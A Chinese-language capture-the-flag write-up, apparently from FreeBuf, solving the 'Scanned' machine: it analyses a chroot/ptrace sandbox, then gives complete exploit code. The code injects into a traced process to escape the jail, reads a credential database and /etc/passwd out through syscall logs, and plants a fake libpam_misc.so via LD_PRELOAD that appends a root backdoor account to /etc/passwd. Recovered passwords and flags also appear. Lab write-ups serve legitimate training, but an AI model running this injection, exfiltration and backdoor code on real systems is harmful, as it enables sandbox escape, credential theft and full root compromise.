freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

[Meachines] [Insane] Insane Scanned Chroot囚笼(沙箱)逃逸+PTRACE调试+LD_PRELOAD权限提升
maptnh 2025-03-15 22:13:03 28976
所属地 福建省

Information Gathering

IP AddressOpening Ports
10.10.11.141TCP:22,80

$ ip='10.10.11.141'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 6a7b146897014a086ae137b1d2bd8f3f (RSA)
|   256 f6b4e110f07b38486634c2c628ffb825 (ECDSA)
|_  256 c98b961951e7ce1f7d3e44e9a4049109 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Malware Scanner
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

MalScanner Sandbox Escape

# echo "10.10.11.141 scanned.htb">>/etc/hosts

image.png

http://scanned.htb/static/source.tar.gz

sandbox.c

$ cat sandbox/sandbox.c

#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/capability.h>


struct user_cap_header_struct {
    int version;
    pid_t pid;
};
struct user_cap_data_struct {
    unsigned int effective;
    unsigned int permitted;
    unsigned int inheritable;
};


int copy(const char* src, const char* dst);
void do_trace();
int jailsfd = -1;

#define DIE(err) fprintf(stderr, err ": (%d)\n", errno); exit(-1)

// Take a 16 byte buffer and generate a pseudo-random UUID
void generate_uuid(char* buf) {
    srand(time(0));
    for (int i = 0; i < 32; i+=2) {
        sprintf(&buf[i], "%02hhx", (char)(rand() % 255));
    }
}

// Check we have all required capabilities
void check_caps() {
    struct user_cap_header_struct header;
    struct user_cap_data_struct caps;
    char pad[32];
    header.version = _LINUX_CAPABILITY_VERSION_3;
    header.pid = 0;
    caps.effective = caps.inheritable = caps.permitted = 0;
    syscall(SYS_capget, &header, &caps);
    if (!(caps.effective & 0x2401c0)) {
        DIE("Insufficient capabilities");
    }
}

void copy_libs() {
    char* libs[] = {"libc.so.6", NULL};
    char path[FILENAME_MAX] = {0};
    char outpath[FILENAME_MAX] = {0};
    system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin");
    for (int i = 0; libs[i] != NULL; i++) {
        sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]);
        // sprintf(path, "/lib/%s", libs[i]);
        sprintf(outpath, "./usr/lib/%s", libs[i]);
        copy(path, outpath);
    }
    copy("/lib64/ld-linux-x86-64.so.2", "./usr/lib64/ld-linux-x86-64.so.2");
    system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin");
}

// Create PID and network namespace
void do_namespaces() {
    if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
    // Create pid-1
    if (fork() != 0) {sleep(6); exit(-1);}
    mkdir("./proc", 0555);
    mount("/proc", "./proc", "proc", 0, NULL);
}

// Create our jail folder and move into it
void make_jail(char* name, char* program) {
    jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
    if (faccessat(jailsfd, name, F_OK, 0) == 0) {
        DIE("Jail name exists");
    }
    int result = mkdirat(jailsfd, name, 0771);
    if (result == -1 && errno != EEXIST) {
        DIE( "Could not create the jail");
    }

    if (access(program, F_OK) != 0) {
        DIE("Program does not exist");
    }
    chdir("jails");
    chdir(name);
    copy_libs();
    do_namespaces();
    copy(program, "./userprog");
    if (chroot(".")) {DIE("Couldn't chroot #1");}
    if (setgid(1001)) {DIE("SGID");}
    if (setegid(1001)) {DIE("SEGID");}
    if (setuid(1001)) {DIE("SUID");};
    if (seteuid(1001)) {DIE("SEUID");};
    do_trace();
    sleep(3);
}

int main(int argc, char** argv) {
    if (argc < 2) {
        printf("Usage: %s <program> [uuid]\n", argv[0]);
        exit(-2);
    }
    if (strlen(argv[1]) > FILENAME_MAX - 50) {
        DIE("Program name too long");
    }
    if ((argv[1][0]) != '/') {
        DIE("Program path must be absolute");
    }
    umask(0);
    check_caps();
    int result = mkdir("jails", 0771);
    if (result == -1 && errno != EEXIST) {
        DIE( "Could not create jail directory");
    }
    char uuid[33] = {0};
    if (argc < 3) {
        generate_uuid(uuid);
    } else {
        memcpy(uuid, argv[2], 32);
    }
    uuid[32] = 0;
    make_jail(uuid, argv[1]);
}
  1. 检查进程权限

    • check_caps()通过capget检查进程是否具有必要的 Linux capabilities(如CAP_SYS_ADMIN等)。

  2. 创建jail目录

    • make_jail()负责创建隔离环境,并将指定的程序复制进去运行。

  3. 创建chroot监狱

    • 使用chroot(".")限制进程只能访问jail目录内部的文件系统。

  4. 使用 Linux 命名空间隔离进程

    • do_namespaces()通过unshare(CLONE_NEWPID | CLONE_NEWNET)创建新的 PID网络命名空间,避免影响宿主系统。

  5. 用户身份降权

    • setgid(1001)/setuid(1001)降低进程权限,防止 Jail 内部的程序提权攻击。

  6. 复制必要的库文件

    • copy_libs()复制libc.so.6ld-linux-x86-64.so.2,确保 Jail 内部程序能够正常运行。

  7. 执行目标程序

    • copy(program, "./userprog")将用户提供的二进制程序复制到 Jail 里,并启动它。

training.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>

#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <sys/prctl.h>
#include <sys/signal.h>
#include <sys/syscall.h>
#include <linux/capability.h>


#define DIE(err) fprintf(stderr, err ": (%d)\n", errno); exit(-1)
extern int jailsfd;

void do_child();
void do_killer(int pid);
void do_log(int pid);
void log_syscall(struct user_regs_struct regs, unsigned long ret);


struct user_cap_header_struct {
    int version;
    pid_t pid;
};
struct user_cap_data_struct {
    unsigned int effective;
    unsigned int permitted;
    unsigned int inheritable;
};


void do_trace() {
    // We started with capabilities - we must reset the dumpable flag
    // so that the child can be traced
    prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
    // Remove dangerous capabilities before the child starts
    struct user_cap_header_struct header;
    struct user_cap_data_struct caps;
    char pad[32];
    header.version = _LINUX_CAPABILITY_VERSION_3;
    header.pid = 0;
    caps.effective = caps.inheritable = caps.permitted = 0;
    syscall(SYS_capget, &header, &caps);
    caps.effective = 0;
    caps.permitted = 0;
    syscall(SYS_capset, &header, &caps);
    int child = fork();
    if (child == -1) {
        DIE("Couldn't fork");
    }
    if (child == 0) {
        do_child();
    }
    int killer = fork();
    if (killer == -1) {
        DIE("Couldn't fork (2)");
    }
    if (killer == 0) {
        do_killer(child);
    } else {
        do_log(child);
    }
}

void do_child() {
    // Prevent child process from escaping chroot
    close(jailsfd);
    prctl(PR_SET_PDEATHSIG, SIGHUP);
    ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    char* args[] = {NULL};
    execve("/userprog", args, NULL);
    DIE("Couldn't execute user program");
}

void do_killer(int pid) {
    sleep(5);
    if (kill(pid, SIGKILL) == -1) {DIE("Kill err");}
    puts("Killed subprocess");
    exit(0);
}

void do_log(int pid) {
    int status;
    waitpid(pid, &status, 0);
    struct user_regs_struct regs;
    struct user_regs_struct regs2;
    while (1) {
        // Enter syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, &status, 0);
        if (WIFEXITED(status) || WIFSIGNALED(status)) {
            puts("Exited");
            return;
        }
        ptrace(PTRACE_GETREGS, pid, 0, &regs);
        // Continue syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, &status, 0);
        ptrace(PTRACE_GETREGS, pid, 0, &regs2);
        log_syscall(regs, regs2.rax);
    }
}

typedef struct __attribute__((__packed__)) {
    unsigned long rax;
    unsigned long rdi;
    unsigned long rsi;
    unsigned long rdx;
    unsigned long r10;
    unsigned long r8;
    unsigned long r9;
    unsigned long ret;
} registers;

void log_syscall(struct user_regs_struct regs, unsigned long ret) {
    registers result;
    result.rax = regs.orig_rax;
    result.rdi = regs.rdi;
    result.rsi = regs.rsi;
    result.rdx = regs.rdx;
    result.r10 = regs.r10;
    result.r8 = regs.r8;
    result.r9 = regs.r9;
    result.ret = ret;
    int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
    if (fd == -1) {
        return;
    }
    write(fd, &result, sizeof(registers));
    close(fd);
}

该程序主要有 四个核心部分

  1. do_trace()- 负责设置ptrace监控机制,并启动:

    • 受控的子进程(do_child()

    • 杀死超时进程的监控器(do_killer()

    • 记录syscall的日志记录器(do_log()

  2. do_child()- 在jail里执行userprog,并允许ptrace监控。

  3. do_killer()- 运行 5 秒后,杀死userprog进程,防止其长期运行。

  4. do_log()- 使用ptrace监视userprog,并记录所有syscall(系统调用)。

利用:

1.prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);将进程的 dumpable 标志设置为 1,意味着该进程可以被 ptrace 追踪或通过 core dump 进行调试。

在fork前调用prctl这将导致三个分叉的进程(子进程、杀手进程、记录器进程)都是可跟踪的。

void do_trace() {
    prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
    //<SNIP>
    int child = fork();
    if (child == -1) {
        DIE("Couldn't fork");
    }
    if (child == 0) {
        do_child();
    }
    int killer = fork();
    if (killer == -1) {
        DIE("Couldn't fork (2)");
    }
    if (killer == 0) {
        do_killer(child);
    } else {
        do_log(child);
    }
}

2.文件描述符关闭失败

void do_child() {
    // Prevent child process from escaping chroot
    close(jailsfd);
    prctl(PR_SET_PDEATHSIG, SIGHUP);
    ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    char* args[] = {NULL};
    execve("/userprog", args, NULL);
    DIE("Couldn't execute user program");
}

在sandbox.c中,创建的jailsfd标识符,由于prctl在三个函数fork之前,所以do_child仅仅关闭了当前的子进程jailsfd标识符,其他的进程标识符没有关闭jailsfd标识符,就可以利用他们访问外部资源。

void make_jail(char* name, char* program) {
    jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
    //<SNIP>
}

void do_namespaces() {
    if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
    // Create pid-1
    if (fork() != 0) {sleep(6); exit(-1);}
    mkdir("./proc", 0555);
    mount("/proc", "./proc", "proc", 0, NULL);
}

unshare(CLONE_NEWPID) 创建了新的 PID 命名空间。
这个新命名空间的第一个进程永远是 PID 1,它相当于新的 "init" 进程。

PID 1 是 do_log(),因为 do_trace() 进程 fork 出来的第一个子进程会变成 新命名空间的 "init" 进程。
PID 2 是 userprog,即 do_child() 执行 execve("/userprog", ...) 后的进程。
PID 3 是 do_killer(),负责 5 秒后终止 userprog。

Chroot Escape

Local Verify

$ gcc sandbox.c copy.c tracing.c -o sandbox

暂停sandbox进程命令(pause.sh):

$ kill -STOP $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')

继续sandbox进程命令(continue.sh):

$ kill -CONT $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')

用来验证do_child是否仅仅关闭了当前的子进程jailsfd标识符,其他的进程标识符没有关闭jailsfd标识符

//exp.c
#include <stdio.h>
#include <unistd.h> 
int main() {
    printf("Hello, World!\n");
    return 0;
}

切换目录malscanner/sandbox

$ TMPFILE=$RANDOM; ./sandbox /home/map/Desktop/htb/malscanner/sandbox/exp "$TMPFILE" & sleep 1; ./pause.sh; TARGET_DIR="jails/$TMPFILE/proc/"; [ -d "$TARGET_DIR" ] && for pid in $(ls -1 "$TARGET_DIR" | grep -E '^[0-9]+$'); do echo "Current Directory: $TARGET_DIR$pid"; ls -la "$TARGET_DIR$pid/fd"; done || echo "Directory $TARGET_DIR does not exist."

image-3.png

仅有进程1,3,证明do_child进程结束而jailsfd标识符依然保留。

EXP

通过提示,需要读取./var/www/malscanner/malscanner.db

┌──────────────┐
                     │    main()    │
                     └──────┬───────┘
                            │
         ┌──────────────────┴──────────────────┐
         │                                     │
  No Arguments                           With Arguments
         │                                     │
 ┌───────▼───────┐                      ┌─────▼─────┐
 │  do_stage_1() │                      │ do_stage_2() │
 └───────┬───────┘                      └─────┬─────┘
         │                                    │
         ▼                                    ▼
 ┌────────────────┐                  ┌─────────────────────┐
 │ Attach Process │                  │ Change Directory    │
 │  (ptrace)      │                  │ Open malscanner.db  │
 └──────┬─────────┘                  │ Read Data           │
        │                             └──────┬─────────────┘
        ▼                                    ▼
 ┌──────────────────────────┐          ┌─────────────────────┐
 │  Get Registers (RIP)     │          │ Call log_data()      │
 └──────────┬───────────────┘          └──────────┬──────────┘
            ▼                                     ▼
 ┌──────────────────────────┐          ┌─────────────────────┐
 │ Inject Code (putdata)    │          │ Write Data to Log   │
 └──────────┬───────────────┘          └──────────┬──────────┘
            ▼                                     ▼
 ┌──────────────────────────┐          ┌─────────────────────┐
 │  Detach from Process     │          │    End Execution    │
 └──────────────────────────┘          └─────────────────────┘

#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>

void do_stage_1();
void do_stage_2();
void log_data(char *data, unsigned long size);
void inject();
void guard();
void putdata(pid_t child, unsigned long long addr, char *str, int len);

void putdata(pid_t child, unsigned long long addr, char *str, int len) {
    char *laddr;
    int i, j;
    union u {
        long val;
        char chars[sizeof(long)];
    } data;

    i = 0;
    j = len / sizeof(long);
    laddr = str;

    while (i < j) {
        memcpy(data.chars, laddr, sizeof(long));
        if (ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val) != 0) {
            printf("Error poking - %d\n", errno);
            return;
        }
        ++i;
        laddr += sizeof(long);
    }

    j = len % sizeof(long);
    if (j != 0) {
        memcpy(data.chars, laddr, j);
        ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val);
    }
}

void do_stage_1() {
    const int pid = 3;
    printf("Child is %d\n", getpid());

    if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
        perror("Attaching");
        return;
    }

    wait(NULL);
    printf("[*] Attached\n");

    struct user_regs_struct regs;
    if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) != 0) {
        perror("Get regs");
        return;
    }
    printf("[*] Got regs\n");

    putdata(pid, regs.rip, (char *)inject, (int)((unsigned long)&guard - (unsigned long)&inject));
    printf("[*] Wrote data\n");

    if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
        perror("Detach");
        return;
    }
    puts("[*] Detached!");
    sleep(5);
}

void do_stage_2() {
    puts("Stage 2 - currently running in killer");
    const int fd = 3;

    int cwd = open(".", O_RDONLY | O_DIRECTORY);
    if (cwd < 0) {
        perror("Open current directory");
        return;
    }

    if (fchdir(fd) != 0) {
        printf("fchdir() = %d\n", errno);
        return;
    }

    if (chdir("../../../../../../../../../../") != 0) {
        printf("chdir() = %d\n", errno);
        return;
    }

    int file_fd = open("./var/www/malscanner/malscanner.db", O_RDONLY);
    if (file_fd < 0) {
        perror("Open malscanner.db");
        return;
    }

    char *buf = calloc(1, 200000);
    if (!buf) {
        perror("Memory allocation");
        close(file_fd);
        return;
    }

    unsigned long size = read(file_fd, buf, 200000);
    close(file_fd);
    fchdir(cwd);

    log_data(buf, size);
    free(buf);
}

void inject() {
    char program[] = "/userprog";
    char *arg[3] = {program, "2", 0};

    asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
        :
        : "r"(program), "r"(arg)
        : "rax", "rdi", "rsi", "rdx");
}

void guard() {}

int main(int argc, char **argv) {
    if (argc < 2) {
        do_stage_1();
    } else {
        do_stage_2();
    }
}

void log_data(char *data, unsigned long size) {
    int fd = open("log", O_WRONLY | O_APPEND, 0777);
    if (fd < 0) {
        perror("Open log");
        return;
    }

    lseek(fd, 0, SEEK_END);
    int offset = 0;
    char buf[8 * 8] = {0};

    while (offset < size) {
        ((unsigned long *)buf)[0] = 0x1337;
        memcpy(&buf[7 * 8], &data[offset], 8);
        write(fd, buf, sizeof(buf));
        offset += 8;
    }

    close(fd);
}

1.无参数运行
2.ptrace(PTRACE_ATTACH, pid, 0, 0) 附加到 pid=3 的进程(do_killer()),暂停目标进程的执行。
3.wait(NULL); 等待目标进程的状态变化,确保它真正被暂停。
4.ptrace(PTRACE_GETREGS, pid, NULL, &regs); 获取目标进程的寄存器状态
5.putdata() 向 regs.rip(即目标进程的指令地址)注入代码.(启动自身程序,携带参数2)让目标进程下一次执行时直接跳转到 inject()。
6.ptrace(PTRACE_DETACH, pid, 0, 0) 解除 ptrace 附加,让目标进程继续运行。
7.带参数执行...do_stage_2()执行,实际上是 do_killer 进程的权限。。。
8.拥有一定权限...chroot逃逸chdir("../../../../../../../../../../")
9.打开目标文件 ./var/www/malscanner/malscanner.db 进行读取。
10.分配内存 存储 malscanner.db 的数据。
11.调用 log_data() 记录数据到日志文件。(读取 malscanner.db,然后每 8 字节记录一次,并在前 8 字节加上 0x1337 用于标记)

这里需要注意的是:

1.受限环境会受到网络隔离限制
2.如果当前进程本身就在受 chroot 保护的环境中,那么它无法直接 chroot 逃逸。
3.但如果能控制一个未受 chroot 限制的进程(比如 PID 3),就能利用它来逃逸。
4.由于prctl(PR_SET_DUMPABLE, 1)在fork前调用,三个子进程均继承了 dumpable=1,那么do_stage_1() 运行时如果 do_killer() 还是活动的(即 PID 3),do_stage_1它就可以附加上去(一个进程调试另一个进程)
5.do_killer 进程没有 chroot(".") 这一步,它仍然在原始的 宿主机 root 目录 运行

简单理解:
想象你是个囚犯,被关进了一座高科技监狱(chroot环境)。这座监狱有一条特别的规则:

"任何进入这座监狱的人,都会自动被蒙上眼睛(chroot限制),看不到监狱外的世界。"

第一步:你被关进了监狱

  • 你(chroot进程)最开始是自由的,但当你走进监狱(chroot("."))时,系统自动给你戴上了头套(chroot限制),你只能看到监狱里面的东西。

  • 监狱外面的世界对你来说是完全不可见的,你想逃出去,但你自己的手脚被束缚,做不到。

第二步:发现自由的守卫

  • 你注意到监狱里有一个守卫(do_killer,PID 3),但这个守卫是自由的

  • 守卫并没有被蒙上眼睛,因为他一开始是站在监狱外面的(do_killer进程是在chroot之外创建的)。

  • 守卫的工作是定期检查你的情况,并在必要时“处决”你(kill(pid, SIGKILL))。

第三步:偷偷劫持守卫

  • 你知道自己无法直接逃跑,但你可以偷偷控制守卫!

  • 你用ptrace技术相当于“黑入”了守卫的大脑,让他按照你的计划行动:

    1. 你让守卫暂停下来(PTRACE_ATTACH)。

    2. 你读取了守卫的大脑数据(PTRACE_GETREGS)。

    3. 你偷偷给守卫植入新的记忆(putdata()注入代码)。

    4. 你让守卫继续执行(PTRACE_DETACH)。

    5. 关键是,你让守卫在下一步执行你的命令,而不是他的原始任务

第四步:守卫无意中带你出狱

  • 你劫持的守卫,现在在执行你的代码,但守卫自己并没有意识到他被操控了

  • 于是,你让守卫“假装”重新带你走一遍进入监狱的流程,但守卫自己并没有戴头套(chroot

  • 由于你是通过守卫的身份重新进入的,你也就不会再被强制戴上头套了!

  • 你现在处于监狱的物理位置,但你的眼睛没有被蒙住,你可以看见监狱外的一切(即突破chroot)。

第五步:自由行动

  • 现在,你站在监狱里,但你的眼睛是睁开的!

  • 你可以打开监狱外的文件(malscanner.db)。

  • 你可以自由访问系统资源,就像你从未被关押过一样。

关键漏洞:

  • 监狱规则是:“所有进入的人都会被蒙上眼睛。”

  • 但你不是自己走进监狱的,你是通过劫持守卫进入的!

  • 守卫本来不受规则限制,你劫持他后,他按照你的方式“带”你进去,于是你就绕过了chroot限制!

$ musl-gcc -static exp.c -o exp

image-4.png

# exp.py
import requests
import sys
import re
import struct

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <url>")
    sys.exit(-1)

url = sys.argv[1]
response = requests.get(url)

pattern = r"sys_4919\(\) = 0x([a-f0-9]+)"
calls = re.findall(pattern, response.text, re.MULTILINE)

exfil = b"".join(struct.pack("Q", int(val, 16)) for val in calls)

try:
    print(exfil.decode()) 
except UnicodeDecodeError:
    print("[!] Warning: Data contains non-printable characters, saving to file.")
    with open("exfil.bin", "wb") as f:
        f.write(exfil)
    print("Saved to exfil.bin. Use 'strings exfil.bin' to inspect.")

http://scanned.htb/viewer/0d80feb0e8fc7244415bbc54bbff163f/

image-6.png

$ python3 exp.py http://scanned.htb/viewer/0d80feb0e8fc7244415bbc54bbff163f/

image-7.png

password:onedayyoufeellikecrying

获取用户名

#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>

void do_stage_1();
void do_stage_2();
void log_data(char *data, unsigned long size);
void inject();
void guard();
void putdata(pid_t child, unsigned long long addr, char *str, int len);

void putdata(pid_t child, unsigned long long addr, char *str, int len) {
    char *laddr;
    int i, j;
    union u {
        long val;
        char chars[sizeof(long)];
    } data;

    i = 0;
    j = len / sizeof(long);
    laddr = str;

    while (i < j) {
        memcpy(data.chars, laddr, sizeof(long));
        if (ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val) != 0) {
            printf("Error poking - %d\n", errno);
            return;
        }
        ++i;
        laddr += sizeof(long);
    }

    j = len % sizeof(long);
    if (j != 0) {
        memcpy(data.chars, laddr, j);
        ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val);
    }
}

void do_stage_1() {
    const int pid = 3;
    printf("Child is %d\n", getpid());

    if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
        perror("Attaching");
        return;
    }

    wait(NULL);
    printf("[*] Attached\n");

    struct user_regs_struct regs;
    if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) != 0) {
        perror("Get regs");
        return;
    }
    printf("[*] Got regs\n");

    putdata(pid, regs.rip, (char *)inject, (int)((unsigned long)&guard - (unsigned long)&inject));
    printf("[*] Wrote data\n");

    if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
        perror("Detach");
        return;
    }
    puts("[*] Detached!");
    sleep(5);
}

void do_stage_2() {
    puts("Stage 2 - currently running in killer");
    const int fd = 3;

    int cwd = open(".", O_RDONLY | O_DIRECTORY);
    if (cwd < 0) {
        perror("Open current directory");
        return;
    }

    if (fchdir(fd) != 0) {
        printf("fchdir() = %d\n", errno);
        return;
    }

    if (chdir("../../../../../../../../../../") != 0) {
        printf("chdir() = %d\n", errno);
        return;
    }

    int file_fd = open("./etc/passwd", O_RDONLY);
    if (file_fd < 0) {
        perror("Open malscanner.db");
        return;
    }

    char *buf = calloc(1, 200000);
    if (!buf) {
        perror("Memory allocation");
        close(file_fd);
        return;
    }

    unsigned long size = read(file_fd, buf, 200000);
    close(file_fd);
    fchdir(cwd);

    log_data(buf, size);
    free(buf);
}

void inject() {
    char program[] = "/userprog";
    char *arg[3] = {program, "2", 0};

    asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
        :
        : "r"(program), "r"(arg)
        : "rax", "rdi", "rsi", "rdx");
}

void guard() {}

int main(int argc, char **argv) {
    if (argc < 2) {
        do_stage_1();
    } else {
        do_stage_2();
    }
}

void log_data(char *data, unsigned long size) {
    int fd = open("log", O_WRONLY | O_APPEND, 0777);
    if (fd < 0) {
        perror("Open log");
        return;
    }

    lseek(fd, 0, SEEK_END);
    int offset = 0;
    char buf[8 * 8] = {0};

    while (offset < size) {
        ((unsigned long *)buf)[0] = 0x1337;
        memcpy(&buf[7 * 8], &data[offset], 8);
        write(fd, buf, sizeof(buf));
        offset += 8;
    }

    close(fd);
}

image-8.png

User.txt

d500559f86f933443e4b8d9c317ae348

Privilege Escalation:chroot escape&& PTRACE && LD_PRELOAD

查找具有SUID位的文件

clarence@scanned:~$ find / -perm -4000 -type f 2>/dev/null

image-9.png

//exp.c
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/prctl.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>

void do_stage_1();
void do_stage_2();
void log_data(char* data, unsigned long size);
void inject();
void guard();

void putdata(pid_t child, unsigned long long addr, char* str, int len) {
    char* laddr;
    int i, j;
    union u {
        long val;
        char chars[sizeof(int)];
    } data;

    i = 0;
    j = len / sizeof(int);
    laddr = str;
    while (i < j) {
        memcpy(data.chars, laddr, sizeof(int));
        if (ptrace(PTRACE_POKEDATA, child, (void*)addr + i * sizeof(int), data.val) != 0) {
            printf("Error poking - %d\n", errno);
            return;
        }
        ++i;
        laddr += sizeof(int);
    }

    j = len % sizeof(int);
    if (j != 0) {
        memcpy(data.chars, laddr, j);
        ptrace(PTRACE_POKEDATA, child, (void*)addr + i * sizeof(int), data.val);
    }
}

void do_stage_1() {
    const int pid = 3;
    printf("Child is %d\n", getpid());

    if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
        perror("Attaching");
        return;
    }

    wait(NULL);
    printf("[*] Attached\n");

    struct user_regs_struct regs;
    if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) != 0) {
        perror("Get regs");
        return;
    }
    printf("[*] Got regs\n");

    putdata(pid, regs.rip, (char*)inject, (int)(&guard - &inject));
    printf("[*] Wrote data\n");

    if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
        perror("Detach");
        return;
    }
    puts("[*] Detached!");
    sleep(5);
}

void do_stage_2() {
    puts("Stage 2 - currently running in killer");

    const int fd = 3;
    int cwd = open(".", O_RDONLY | O_DIRECTORY);
    int status;

    status = fchdir(fd);
    if (status != 0) {
        printf("fchdir() = %d\n", errno);
        return;
    }

    status = chdir("../../../../../../../../../../");
    if (status != 0) {
        printf("chdir() = %d\n", errno);
        return;
    }

    sleep(1);

    char* args[] = {"bin/su", NULL};
    execve("bin/su", args, NULL);
    puts("Failed to su");
}

void inject() {
    char program[] = "/userprog";
    char* arg[3] = {program, "2", 0};
    asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
        :
        : "r"(program), "r"(arg)
        : "rax", "rdi", "rsi", "rdx");
}

void guard() {}

int main(int argc, char** argv) {
    if (argc < 2) {
        do_stage_1();
    } else {
        do_stage_2();
    }
}

回到上文,你逃出了监狱,你发现了bin/su具有S位。bin/su 依赖 libpam_misc.so.0(PAM 认证库),并且准备利用 LD_PRELOAD 劫持 libpam_misc.so.0。当 bin/su 加载 libpam_misc.so.0 时,它会执行 exp.so 的 init()添加后门用户造成权限提升。

构造LD劫持的小工具:
https://github.com/eblazquez/fakelib.sh

$ musl-gcc exp.c -fPIC -static -fno-stack-protector -o exp

//expso.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <sys/prctl.h>

// `libpam_misc.so.0` is expected to define this symbol
void misc_conv() { return; }

static __attribute__((constructor)) void init(void) {
    printf("Hello from constructor, I am %d:%d (%d:%d)\n", getuid(), geteuid(), getgid(), getegid());

    // Make ourselves root proper
    printf("SEUID %d %d\n", seteuid(0), errno);
    printf("SUID %d %d\n", setuid(0), errno);

    // Restore the true system root
    printf("Chroot %d %d\n", chroot("../../../../../../"), errno);
    chdir("/");

    // Add a new record to /etc/passwd (password: suidroot)
    char *args[] = {
        "/bin/sh", 
        "-p", 
        "-c", 
        "echo 'root2:YiY4/N2td230w:0:0:root:/root:/bin/bash' >> /etc/passwd", 
        NULL
    };
    execve("/bin/sh", args, NULL);

    puts("Execve failed");
}

$ gcc -shared -fPIC -o exp.so expso.c

#!/bin/bash

FOLDER=$(pwgen 10 1)
mkdir "$FOLDER"
cp exp exp.so "$FOLDER"
cd "$FOLDER" || exit
mkdir jails

/var/www/malscanner/sandbox/sandbox $(pwd)/exp fuck &  
sleep 0.1

cp /usr/lib/x86_64-linux-gnu/{libutil.so.1,libpam.so.0,libaudit.so.1,libcap-ng.so.0,libdl.so.2,libpthread.so.0} \
   jails/fuck/usr/lib/x86_64-linux-gnu/

cp exp.so jails/fuck/usr/lib/x86_64-linux-gnu/libpam_misc.so.0
chmod +x jails/fuck/usr/lib/x86_64-linux-gnu/

image-11.png

clarence@scanned:/tmp$ su root2

suidroot

Root.txt

326e95f57d8b8e68036a7575d6af2dec

# 漏洞 # web安全 # 数据安全 # CTF
免责声明
